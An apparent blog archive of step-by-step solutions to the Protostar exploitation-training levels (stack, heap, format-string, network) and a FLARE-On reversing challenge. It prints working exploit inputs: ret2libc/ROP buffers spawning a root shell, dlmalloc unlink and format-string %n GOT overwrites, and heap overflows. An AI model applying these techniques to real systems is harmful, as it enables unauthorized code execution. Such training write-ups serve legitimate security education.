Monday, December 29, 2014

Protostar - Net #2

About:

This code tests the ability to add up 4 unsigned 32-bit integers. Hint: Keep in mind that it wraps. (link)


Source Code:



Solution:

This ones a bit more complicated than net0 and net1, but overall very similar.

Your job is to read 4 32-bit little-endian integers, add them up, and send them back.

I wrote a quick python script that does it:

#!/usr/bin/env python
#

import socket
import struct

HOST = "127.0.0.1"
PORT = 2997

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

total = 0
for i in range(4):
    val = int(struct.unpack("I", s.recv(4))[0])
    total += val
    print val

total &= 0xffffffff

to_send = struct.pack("I", total) + "\n"
print to_send

s.sendall(to_send)
print "sending:", to_send

print "response:", s.recv(1024)


Running it gives the following output:

user@protostar:/opt/protostar/bin$ python /tmp/net2.py
1642506226
1314001069
1294629977
29888033
C+?

sending: C+?

response: you added them correctly

Protostar - Net #1

About:

This level tests the ability to convert binary integers into ascii representation. (link)


Source Code:




Solution:

Net1 seems to be the inverse operation as net0 -- take a 32-bit little-endian integer and send it back using ascii representation.

Here's a quick python script that will do it for you:

#!/usr/bin/env python
#

import socket
import struct

HOST = "127.0.0.1"
PORT = 2998

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

msg = struct.unpack("I", s.recv(1024))[0]
print msg

to_send = str(msg) + "\n"
print to_send

s.sendall(to_send)
print "sending:", to_send

print "response:", s.recv(1024)


Running it gives the following output:

user@protostar:/opt/protostar/bin$ python /tmp/net1.py
1763649439
1763649439

sending: 1763649439

response: you correctly sent the data

Protostar - Net #0

About:

This level takes a look at converting strings to little endian integers. (link)


Source Code:



Solution:

For net0, they want you to connect to the background process running on port 2999, read the integer contained in the string it sends, and send it back as a little-endian 32-bit integer.

I wrote a quick python script to do this:

#!/usr/bin/env python
#

import socket
import struct

HOST = "127.0.0.1"
PORT = 2999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

msg = s.recv(1024)
print msg

value = int(msg.split("'")[1])
print "parsed value:", value

to_send = struct.pack("I", value) + "\n"
s.sendall(to_send)
print "sending:", to_send

print "response:", s.recv(1024)



Running it gives the following output:

user@protostar:/opt/protostar/bin$ python /tmp/net0.py
Please send '884996042' as a little endian 32bit int

parsed value: 884996042
sending: ???4

response: Thank you sir/madam



Protostar - Stack #7

About:

Stack7 introduces return to .text to gain code execution. (link)


Source Code:



Solution:

Stack7 looks essentially the same as stack6 except the restriction on the return address is slightly more strict. (Previously, if ret & 0xbf000000 == 0xbf000000 it would terminate, now it just checks to see if ret & 0xb0000000 == 0xb0000000.)

Just as a sanity check, let's try our solution to stack6 here:

user@protostar:/opt/protostar/bin$ (cat /tmp/stack6-buffer; cat) | /opt/protostar/bin/stack7
input path please: bzzzt (0xb7ecffb0)


Nope! As expected, the buzzer goes off because the address we use for system and exit are not in the .text section.

Ok... so now what can we do?

One idea would be to scan the .text section for gadgets to use in a Return Oriented Programming chain.

user@protostar:/opt/protostar/bin$ objdump -d stack7 | grep "ret"
 8048383:    c3                       ret   
 8048494:    c3                       ret   
 80484c2:    c3                       ret   
 8048544:    c3                       ret   
 8048553:    c3                       ret   
 8048564:    c3                       ret   
 80485c9:    c3                       ret   
 80485cd:    c3                       ret   
 80485f9:    c3                       ret   
 8048617:    c3                       ret


Ok, now let's take the script we had from last time and jump to the first one of these ret opcodes:

#!/usr/bin/env python
#

offset = 80
command = "/bin/sh;#"
filler = "a"*(offset - len(command))

rop_gadget_addr = "\x83\x83\x04\x08"

system_addr= "\xb0\xff\xec\xb7"
system_arg = "\x5c\xf7\xff\xbf"  # addr of start of buffer

exit_addr = "\xc0\x60\xec\xb7"
exit_arg = "\xff\xff\xff\xff"


print(command + filler + rop_gadget_addr + system_addr + exit_addr + system_arg + exit_arg)


Now let's use this to make a buffer file:

user@protostar:/opt/protostar/bin$ python /tmp/stack7.py > /tmp/stack7-buffer 

And now let's use that buffer file as input, using the double "cat" command the same was as before the keep the pipe open:

user@protostar:/opt/protostar/bin$ (cat /tmp/stack7-buffer; cat) | /opt/protostar/bin/stack7
input path please: got path /bin/sh;#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?aaaaaaaaaaaa?????`?\???????
ls  (<--- typed by me)
final0    final2     format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1    format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
whoami
root
echo "woohoo!"
woohoo!









Protostar - Heap #3

About:

This level introduces the Doug Lea Malloc (dlmalloc) and how heap meta data can be modified to change program execution. (link)


Source Code:



Solution:

Here, we're given the ability to write arbitrary data to each of the malloc'd sections of the heap. Given that they will likely be placed adjacent to each other, we should be able to use one of the char*'s strcpy() calls to overwrite some of the other char*'s data as well has its dlmalloc header.

Let's first get some of the address of our target function, winner:
user@protostar:/opt/protostar/bin$ objdump -t ./heap3 | grep "winner"
08048864 g     F .text    00000025              winner


Let's also get the entry in the Global Offset Table (GOT) for printf:
user@protostar:/opt/protostar/bin$ objdump -R ./heap3 | grep "printf"
0804b11c R_386_JUMP_SLOT   printf


Now let's understand how malloc keeps track of free and unfree segments of the heap and how we can use its functionality to get an arbitrary write.

(Here's a good resource on how dlmalloc works: http://g.oswego.edu/dl/html/malloc.html)

At line 22, our heap should look something like this:

[a's header] [a's data] [b's header] [b's data] [c's header] [c's data]

If we can trick dlmalloc into thinking that [b] is not in use, it should trigger a call to coalesce [b] and [c], rewriting the header data for the now-combined block. If the values dlmalloc uses to determine where and what it should write are under our control, we will have gained an arbitrary write to an address of our choosing.

How can we do this with our current heap setup?
 
Call it with this:
./heap3

$(python -c 'print "a"*4 + "\x68\x64\x88\x04\x08" + "\xc3"')
$(python -c 'print "a"*32 + "\xf0\xff\xff\xff" + "\xfc\xff\xff\xff"')
$(python -c 'print "a"*8+"\xf1\xff\xff\xff"*2+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"')

Let's walk through the code to see how it works.


The heaps starts out looking like this:
[a's header] [a's data] [b's header] [b's data] [c's header] [c's data]


after the strcpy(a, argv[1]) call:
[a's header] [aaaaSHELLCODE] [b's header] [b's data] [c's header] [c's data]
  
(The leading "aaaa" is necessary because it will get overwritten later. SHELLCODE is "push 0x08048864; ret")


after the strcpy(b, argv[2]) call:
[a's header] [aaaaSHELLCODE] [b's header] [aaaaaaa...] [\xff\xff\xff\xf0\xff\xff\xff\xfc] [c's data]

(c's header has been overwritten with a pointer to a fake chunk header within c's data)


after the strcpy(c, argv[3]) call:
[a's header] [aaaaSHELLCODE] [b's header] [aaaaaaa...] [\xff\xff\xff\xf0\xff\xff\xff\xfc] [aaaaaaaa] [fake chunk header with fw=0x0804b11c, bk=0x0804c00c]
(the bk pointer -- 0x0804c00c -- is a pointer to SHELLCODE, from before.)


Let's see how this originally aligns with our original pointers:
  a's header is here
  b's header is here
  c's header is here

[a's header] [aaaaSHELLCODE] [b's header] [aaaaaaa...] [\xff\xff\xff\xf0\xff\xff\xff\xfc] [aaaaaaaa] [fake chunk header with fw=0x0804b11c, bk=0x0804c00c]

When we hit the free(c) call, it sees that the next chunk is not in use and the header's located here.

The coalescing functionality overwrites printf entry in the GOT to be our shellcode in the first segment.

The final output looks something like this:

user@protostar:/opt/protostar/bin$ ./heap3 $(python -c 'print "a"*4 + "\x68\x64\x88\x04\x08" + "\xc3"') $(python -c 'print "a"*32 + "\xf0\xff\xff\xff" + "\xfc\xff\xff\xff"') $(python -c 'print "a"*8+"\xf1\xff\xff\xff"*2+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"')
that wasn't too bad now, was it? @ 1417025233

Tuesday, December 23, 2014

FLARE - Challenge 3



About:

This is the 3rd challenge from FireEye's "FLARE On" challenge (http://flare-on.com/)


Solution:

In this challenge, the only file you're provided with is a Windows executable file.

I first opened it up in IDA and saw that it seems to prepare the stack with some shellcode, and then start executing it:



I switched to Ollydbg and started stepping through that part of the code, and stopped after the shellcode was called:



It looks like it starts out with an XOR-decryption loop, where the shellcode decrypts and prepares the next bit of shellcode before continuing on and executing it.

By setting a breakpoint to the start of the code that's undergoing decryption, I fast-forwarded to the part where it starts to get executed:


You can see "and so it begins" copied onto the stack.

This process repeats a few times with new code being decrypted and new messages being placed on the stack:


Here, the message is "get ready to get nop'ed so damn hard in the paint".

There are a couple more decryption loops, and eventually we get to one that looks like this:


There's the email address we're looking for!

It looks like such.5h311010101@flare-on.com





Protostar - Heap #2

About:

This level examines what can happen when heap pointers are stale. This level is completed when you see the “you have logged in already!” message. (link)


Source Code:



Solution:

For heap2, our goal is to get the auth->auth integer to be set to a non-zero value.

We can do this by using the "service" command and sending in a oversized service value.

First, let's get addresses for where these objects are allocated:

user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth a
[ auth = 0x804c008, service = (nil) ]
service a              
[ auth = 0x804c008, service = 0x804c018 ]

Ok, so now if we send a service object of size >= 0x10, it should overwrite the auth object, setting auth->auth to a non-zero value.

user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth a
[ auth = 0x804c008, service = (nil) ]
service aaaaaaaaaaaaaaaa
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!

Success!




Protostar - Heap #1

About:

This level takes a look at code flow hijacking in data overwrite cases. (link)


Source Code:





Solution:

Ok, this looks somewhat similar to heap0 except there's no function pointer to overwrite.  Instead, let's try to find the puts entry in the Global Offset Table (GOT), overwrite i2->name with puts's address in the GOT, then have argv[2] be equal to address of winner() so that the call to printf() will trigger winner() instead.

Let's start by finding the address of puts in the GOT:

user@protostar:/opt/protostar/bin$ objdump -TR ./heap1

./heap1:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*    00000000              __gmon_start__
00000000      DF *UND*    00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*    00000000  GLIBC_2.0   strcpy
00000000      DF *UND*    00000000  GLIBC_2.0   printf
00000000      DF *UND*    00000000  GLIBC_2.0   time
00000000      DF *UND*    00000000  GLIBC_2.0   malloc
00000000      DF *UND*    00000000  GLIBC_2.0   puts
0804862c g    DO .rodata    00000004  Base        _IO_stdin_used


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804974c R_386_GLOB_DAT    __gmon_start__
0804975c R_386_JUMP_SLOT   __gmon_start__
08049760 R_386_JUMP_SLOT   __libc_start_main
08049764 R_386_JUMP_SLOT   strcpy
08049768 R_386_JUMP_SLOT   printf
0804976c R_386_JUMP_SLOT   time
08049770 R_386_JUMP_SLOT   malloc
08049774 R_386_JUMP_SLOT   puts


Now let's find our target address (winner):

user@protostar:/opt/protostar/bin$ objdump -t ./heap1  | grep "winner"
08048494 g     F .text    00000025              winner


Now we need to get the addresses of our two structures:
user@protostar:/opt/protostar/bin$ ltrace ./heap1 AAAA BBBB
__libc_start_main(0x80484b9, 3, 0xbffff894, 0x8048580, 0x8048570 <unfinished ...>
malloc(8)                                              = 0x0804a008
malloc(8)                                              = 0x0804a018
malloc(8)                                              = 0x0804a028
malloc(8)                                              = 0x0804a038
strcpy(0x0804a018, "AAAA")                             = 0x0804a018
strcpy(0x0804a038, "BBBB")                             = 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
)                       = 25
+++ exited (status 25) +++
 

Now, let's trigger the overwrite:

user@protostar:/opt/protostar/bin$ ./heap1 $(python -c "print 'x'*20 + '\x74\x97\x04\x08'") $(python -c "print '\x94\x84\x04\x08'")
and we have a winner @ 1417009928

Done!

Protostar - Heap #0

About:

This level introduces heap overflows and how they can influence code flow. (link)


Source Code:




Solution:

Ok this looks like it'll be similar to some of the stack overflow levels, except we want to overflow a data structure that's located on the heap.

First, let's see if we can overwrite f->fp() at all and cause a segfault:

user@protostar:/opt/protostar/bin$ ./heap0 $(python -c "print 'x'*70")
data is at 0x804a008, fp is at 0x804a050
level has not been passed

No. Let's try again with more data:

user@protostar:/opt/protostar/bin$ ./heap0 $(python -c "print 'x'*170")
data is at 0x804a008, fp is at 0x804a050
Segmentation fault

Got it!

Ok now let's find the address we want to overwrite f->fp() with:

user@protostar:/opt/protostar/bin$ objdump -t ./heap0 | grep "winner"
08048464 g     F .text    00000014              winner
08048478 g     F .text    00000014              nowinner

Ok, now let's overwrite f->fp() with that address:

user@protostar:/opt/protostar/bin$ ./heap0 $(python -c "print 'x'*72 + '\x64\x84\x04\x08'")data is at 0x804a008, fp is at 0x804a050
level passed

Done!


Monday, December 22, 2014

Protostar - Format #4

About:

format4 looks at one method of redirecting execution in a process. (link)


Source Code:



Solution:

Hmm, this one looks different from format2 and format3 in a couple ways.

First we need to redirect the execution flow (before we were just adjusting the value of a variable in memory). Second, a call to exit is inserted within the vuln code block.

My first thought was to overwrite the saved return address on the stack, but it looks like the exit call will make that fail... the program will jump to exit and terminate before ever returning!

The second thought I had was to overwrite the address saved in the Global Offset Table (GOT) for the exit function. This is what I ended up going with.

First, we'll need to get the address in the GOT where the address for exit is saved:

user@protostar:/opt/protostar/bin$ objdump -TR ./format4

./format4:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*    00000000              __gmon_start__
00000000      DF *UND*    00000000  GLIBC_2.0   fgets
00000000      DF *UND*    00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*    00000000  GLIBC_2.0   _exit
00000000      DF *UND*    00000000  GLIBC_2.0   printf
00000000      DF *UND*    00000000  GLIBC_2.0   puts
00000000      DF *UND*    00000000  GLIBC_2.0   exit
080485ec g    DO .rodata    00000004  Base        _IO_stdin_used
08049730 g    DO .bss    00000004  GLIBC_2.0   stdin


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit


Ok, so we also need the address of hello, so that we can replace the address for exit with the address for hello:

user@protostar:/opt/protostar/bin$ objdump -t ./format4 | grep "hello"
080484b4 g     F .text    0000001e              hello


Now that we have both of these addresses, we can go ahead with the overwriting....

Same as before, we want to figure out how far up the stack our stdin input is being placed:

user@protostar:/opt/protostar/bin$ python -c "print 'AAAAAAAA' + '%08x.'*10" | ./format4
AAAAAAAA00000200.b7fd8420.bffff614.41414141.41414141.78383025.3830252e.30252e78.252e7838.2e783830.


Got it! Now to zero in on it...

user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%08x.'*4" | ./format4
AAAA00000200.b7fd8420.bffff614.41414141.


And substitute in our target address:

user@protostar:/opt/protostar/bin$ python -c "print '\x24\x97\x04\x08' + '%08x.'*4" | ./format4
$00000200.b7fd8420.bffff614.08049724.


Ok, now let's try what we have so far to make sure we can get the EIP to jump to an address under our control:

user@protostar:/opt/protostar/bin$ python -c "print '\x24\x97\x04\x08' + '%08x.'*3 + '%n'" > /tmp/format4-buffer 

user@protostar:/opt/protostar/bin$ gdb ./format4
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) run < /tmp/format4-buffer
Starting program: /opt/protostar/bin/format4 < /tmp/format4-buffer
$00000200.b7fd8420.bffff5d4.

Program received signal SIGSEGV, Segmentation fault.
0x0000001f in ?? ()

Great! We didn't send it to the right address, but we got it to go to 0x1f in this case.

Now we just need to do a bit of math to figure out how many bytes to print before the %n-- we want it to equal the 0x080484b4 from before:


python -c "print '\x24\x97\x04\x08' + '%44837946x.'*3 + '%n'" | ./format4

code execution redirected! you win


Protostar - Format #3


About:

This level advances from format2 and shows how to write more than 1 or 2 bytes of memory to the process. This also teaches you to carefully control what data is being written to the process memory (link)

Source Code:



Solution:

This one looks very similar to the previous one, except the printf call is in a separate function and the value we need to set target to is much greater than before.

We start out the same way as before, getting the location of target in memory:

user@protostar:/opt/protostar/bin$ objdump -t ./format3 | grep "target"
080496f4 g     O .bss    00000004              target


Then we figure out how far up the stack our input is being placed (same method as before):

user@protostar:/opt/protostar/bin$ python -c "print 'AAAAAAAA' + '%08x.'*10" | ./format3
AAAAAAAA00000000.bffff5d0.b7fd7ff4.00000000.00000000.bffff7d8.0804849d.bffff5d0.00000200.b7fd8420.
target is 00000000 :(

user@protostar:/opt/protostar/bin$ python -c "print 'AAAAAAAA' + '%08x.'*100" | ./format3 
AAAAAAAA00000000.bffff5d0.b7fd7ff4.00000000.00000000.bffff7d8.0804849d.bffff5d0.00000200.b7fd8420.bffff614.41414141.41414141.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.
target is 00000000 :(

There it is!

Now let's zero in on it:

user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%08x.'*11 + '%08x'" | ./format3
AAAA00000000.bffff5d0.b7fd7ff4.00000000.00000000.bffff7d8.0804849d.bffff5d0.00000200.b7fd8420.bffff614.41414141
target is 00000000 :(


Ok, now let's replace the As with our target address and get ready to swap out a %x with a %n to trigger a write:

user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08' + '%08x.'*11 + '%08x'" | ./format3
?00000000.bffff5d0.b7fd7ff4.00000000.00000000.bffff7d8.0804849d.bffff5d0.00000200.b7fd8420.bffff614.080496f4
target is 00000000 :(


Ok, now let's trigger the write and see what happens:

user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08' + '%08x.'*11 + '%n'" | ./format3
?00000000.bffff5d0.b7fd7ff4.00000000.00000000.bffff7d8.0804849d.bffff5d0.00000200.b7fd8420.bffff614.
target is 00000067 :(


Looks good! We're hitting the target, but just with the wrong value...

Let's fiddle around with the amount of bytes printed before the %n until we get it set to the right value:

user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08' + '%1539100x.'*11 + '%n'" | ./format3 | tail -n 1
target is 01025543 :(

user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08' + ' ' + '%1539100x.'*11 + '%n'" | ./format3 | tail -n 1
you have modified the target :)

There we go!


Protostar - Format #2


About:

This level moves on from format1 and shows how specific values can be written in memory. (link)


Source Code:


Solution:

This one looks very similar to the last one except we now have to write a specific value to target.

Same as before, we can get the address of target with objdump:

user@protostar:/opt/protostar/bin$ objdump -t ./format2 | grep "target"
080496e4 g     O .bss    00000004              target

Now that we have the correct address, let's try what we had from before, except subsituting in the new address for target:

user@protostar:/opt/protostar/bin$ python -c "print '\xe4\x96\x04\x08' + '%08x.'*3 + '%n'" | /opt/protostar/bin/format2
00000200.b7fd8420.bffff5e4.
target is 31 :(

The key to getting it to write the value of your choice is knowing that %n will write the total number of bytes read so far.

If we use the format string "%19x.", this takes up 20 bytes (19 for the value + 1 for the '.' character). If we do that three times + the original 4-byte address, we will have used 64 bytes.

Running that with a %n tagged on the end gives you this:

user@protostar:/opt/protostar/bin$ python -c "print '\xe4\x96\x04\x08' + '%19x.'*3 + '%n'" | /opt/protostar/bin/format2
                200.           b7fd8420.           bffff5e4.
you have modified the target :)


Done!

Protostar - Format #1

About:

This level shows how format strings can be used to modify arbitrary memory locations. (link)


Source Code:



Solution:

To me, this was one of the most mind-blowing challenges so far. It's much less complicated than some others, but I was completely new to format string exploits and the thought that you could write to memory with a printf call still seems bizarre...

To start with, we need to find the addresses of the global variable target.

user@protostar:/opt/protostar/bin$ objdump -t ./format1 | grep "target"
08049638 g     O .bss    00000004              target



Now we need to figure out how to get printf to write to that address.

We can pass that address in at the beginning of our argument, but we still need to figure out a way for the printf to use that address when it decides where to write.

 First let's run it once with "AAAA" at the beginning, and exhaustively print values off the stack until we find our AAAA being printed out:

user@protostar:/opt/protostar/bin$ /opt/protostar/bin/format1 `python -c "print 'AAAAAAAA' +'%08x.'*150"`
AAAAAAAA0804960c.bffff4b8.08048469.b7fd8304.b7fd7ff4.bffff4b8.08048435.bffff699.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff538.b7eadc76.00000002.bffff564.bffff570.b7fe1848.bffff520.ffffffff.b7ffeff4.0804824d.00000001.bffff520.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff538.72364b5a.5867bd4a.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff564.08048450.08048440.b7ff1040.bffff55c.b7fff8f8.00000002.bffff67e.bffff699.00000000.bffff990.bffff99e.bffff9b2.bffff9d2.bffff9e5.bffff9ef.bffffedf.bfffff1d.bfffff31.bfffff48.bfffff59.bfffff61.bfffff71.bfffff7e.bfffffae.bfffffcb.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.1fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff65b.0000001f.bfffffe1.0000000f.bffff66b.00000000.00000000.00000000.07000000.e5da79a0.c012c6ef.fffbc1f1.698c2496.00363836.00000000.00000000.00000000.6f2f0000.702f7470.6f746f72.72617473.6e69622f.726f662f.3174616d.41414100.41414141.38302541.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.

There it is at the end!

Now we have to make it so that the AAAA is at the very end. We can then replace it with the address of target and replace the %x with a %n (this will make the printf write to that address).

user@protostar:/opt/protostar/bin$ /opt/protostar/bin/format1 `python -c "print '\x38\x96\x04\x08BBB' +'%08x.'*131"`%08x.%08x
8BBB0804960c.bffff518.08048469.b7fd8304.b7fd7ff4.bffff518.08048435.bffff6f0.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff598.b7eadc76.00000002.bffff5c4.bffff5d0.b7fe1848.bffff580.ffffffff.b7ffeff4.0804824d.00000001.bffff580.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff598.16ec7b87.3cbe4d97.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff5c4.08048450.08048440.b7ff1040.bffff5bc.b7fff8f8.00000002.bffff6d5.bffff6f0.00000000.bffff990.bffff99e.bffff9b2.bffff9d2.bffff9e5.bffff9ef.bffffedf.bfffff1d.bfffff31.bfffff48.bfffff59.bfffff61.bfffff71.bfffff7e.bfffffae.bfffffcb.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.1fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff6bb.0000001f.bfffffe1.0000000f.bffff6cb.00000000.00000000.00000000.b5000000.1d9f7eda.d47c7483.0189c161.6977da08.00363836.00000000.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.00317461.08049638.25424242



You can see everything's lined up here to where if we replace the 2nd to last %08x with a %n, we'll trigger a write to the address of target.

$ /opt/protostar/bin/format1 `python -c "print '\x38\x96\x04\x08BBB' +'%08x.'*131"`%08n.%08x
 8BBB0804960c.bffff518.08048469.b7fd8304.b7fd7ff4.bffff518.08048435.bffff6f0.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff598.b7eadc76.00000002.bffff5c4.bffff5d0.b7fe1848.bffff580.ffffffff.b7ffeff4.0804824d.00000001.bffff580.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff598.5152bf8f.7b00899f.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff5c4.08048450.08048440.b7ff1040.bffff5bc.b7fff8f8.00000002.bffff6d5.bffff6f0.00000000.bffff990.bffff99e.bffff9b2.bffff9d2.bffff9e5.bffff9ef.bffffedf.bfffff1d.bfffff31.bfffff48.bfffff59.bfffff61.bfffff71.bfffff7e.bfffffae.bfffffcb.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.1fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff6bb.0000001f.bfffffe1.0000000f.bffff6cb.00000000.00000000.00000000.da000000.7f46b895.b978575c.a43fafdc.694ce653.00363836.00000000.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.00317461..25424242
you have modified the target :)

We're done!



Protostar - Format #0

About:

This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs. (link)


Source Code:




Solution:

For this one, the sprintf function takes the string we pass in as a command-line argument and prints it out into buffer. Our target above the buffer in memory, so this should be very similar to the buffer-overflow exploits from before.

The key to this one is that sprintf accepts "placeholders" in the form %d, %n, etc. We can select a formatting of one of these placeholders that will expand a single placeholder out into being 64 bytes wide. Whatever comes after this 64-byte placeholder will overwrite the memory above the buffer (in this case, target)

This means if we overwrite target with the target value from the if statement, we should get the printf call to execute:

user@protostar:/opt/protostar/bin$ ./format0 %64d$(python -c "print '\xef\xbe\xad\xde'")
you have hit the target correctly :)


That's it!


Sunday, December 21, 2014

Protostar - Stack #6


About:

Stack6 looks at what happens when you have restrictions on the return address. (link)


Source Code:



Solution:

Stack6 is similar to the fifth challenge, except there's an additional check in getpath() to make sure the return address is not on the stack.

This means that if we want our code to get executed, it can't be part of what we pass in as a part of the gets() call.

I hadn't done any ret2libc-related work before, so this writeup was a really great way to get started - http://www.win.tue.nl/~aeb/linux/hh/hh-10.html

The high-level summary of what I ended up getting working is to trigger calls to system() and exit() within libc, passing in the string "/bin/sh" as the argument to system(). This let me have shell access, which I could then do whatever I wanted with.

This is the general structure of the buffer we'll pass in:
PADDING  SYSTEM_ADDR  EXIT_ADDR  SYSTEM_ARG  EXIT_ARG
 This is because when we return to the address of the system() function (SYSTEM_ADDR), we need to mimic the calling conventions by placing the address that it should return to (EXIT_ADDR) and the arguments we want it to be called with (SYSTEM_ARG) above the saved EIP in the stack.

So first we need to get the offset that will tell us how many bytes long our PADDING should be.


(gdb) disas getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>:    push   %ebp
0x08048485 <getpath+1>:    mov    %esp,%ebp
0x08048487 <getpath+3>:    sub    $0x68,%esp
...snip...
0x080484ec <getpath+104>:    mov    %edx,0x4(%esp)
0x080484f0 <getpath+108>:    mov    %eax,(%esp)
0x080484f3 <getpath+111>:    call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:    leave 
0x080484f9 <getpath+117>:    ret   
End of assembler dump.


(gdb) break *0x080484f8
Breakpoint 1 at 0x80484f8: file stack6/stack6.c, line 23.


(gdb) run < /tmp/a    (a file with contents of "aaaaaaaaa...")
Starting program: /opt/protostar/bin/stack6 < /tmp/a
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, getpath () at stack6/stack6.c:23
23    stack6/stack6.c: No such file or directory.
    in stack6/stack6.c


(gdb) x/40h $esp
0xbffff740:    0x85f0    0x0804    0xf75c    0xbfff    0x1b28    0xb7fe    0x0001    0x0000
0xbffff750:    0x0000    0x0000    0x0001    0x0000    0xf8f8    0xb7ff    0x6161    0x6161
0xbffff760:    0x6161    0x6161    0x6161    0x6161    0x6161    0x6161    0x6161    0x6161
0xbffff770:    0x6161    0x6161    0x6161    0x6161    0x6161    0x6161    0x8300    0x0804
0xbffff780:    0x1040    0xb7ff    0x96ec    0x0804    0xf7b8    0xbfff    0x8539    0x0804


(gdb) i r
eax            0x2a    42
ecx            0x0    0
edx            0xb7fd9340    -1208118464
ebx            0xb7fd7ff4    -1208123404
esp            0xbffff740    0xbffff740
ebp            0xbffff7a8    0xbffff7a8
esi            0x0    0
edi            0x0    0
eip            0x80484f8    0x80484f8 <getpath+116>
eflags         0x200292    [ AF SF IF ID ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51


Ok, so we know from before our offset is equal to the distance between $ebp + 4 - addr_start_of_buffer. In this case, that's 0xbffff7a8 + 4 - bffff75c, or 0x50.

